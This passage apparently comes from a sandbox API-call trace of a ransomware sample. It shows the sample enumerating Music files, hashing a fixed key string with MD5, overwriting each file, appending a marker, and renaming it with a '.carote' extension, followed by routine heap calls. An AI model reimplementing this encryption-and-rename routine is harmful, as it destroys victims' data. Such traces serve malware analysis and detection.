(HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.357] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.357] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.357] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.357] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.357] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.357] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.357] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.357] CloseHandle (hObject=0x61c) returned 1 [0112.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x870) returned 0x7b182e0 [0112.358] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.358] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Xcrmc4FZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xcrmc4fz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Xcrmc4FZ.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xcrmc4fz.m4a.carote")) returned 1 [0112.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.359] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.360] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.360] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 1 [0112.360] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.360] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.360] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.360] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y-NLxTIvwMCOP.m4a") returned=".m4a" [0112.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y-NLxTIvwMCOP.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y-nlxtivwmcop.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.360] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=34526) returned 1 [0112.360] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.362] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x86b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.362] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.363] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.363] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x86de, lpOverlapped=0x0) returned 1 [0112.364] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.364] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.364] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.364] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.365] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.365] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.365] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.365] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.365] GetLastError () returned 0x0 [0112.365] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.365] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.365] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x86e0) returned 0x7b182e0 [0112.365] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.365] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.365] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x86d9, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x86d9, lpOverlapped=0x0) returned 1 [0112.365] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.365] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x86de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.366] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.366] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.366] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.366] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.366] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.366] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.366] CloseHandle (hObject=0x61c) returned 1 [0112.367] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.367] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.367] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.367] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y-NLxTIvwMCOP.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y-nlxtivwmcop.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y-NLxTIvwMCOP.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y-nlxtivwmcop.m4a.carote")) returned 1 [0112.367] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.367] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.368] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 0 [0112.368] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0112.368] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.368] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.368] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.368] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.368] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.368] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.368] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.368] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.373] HeapFree (in: 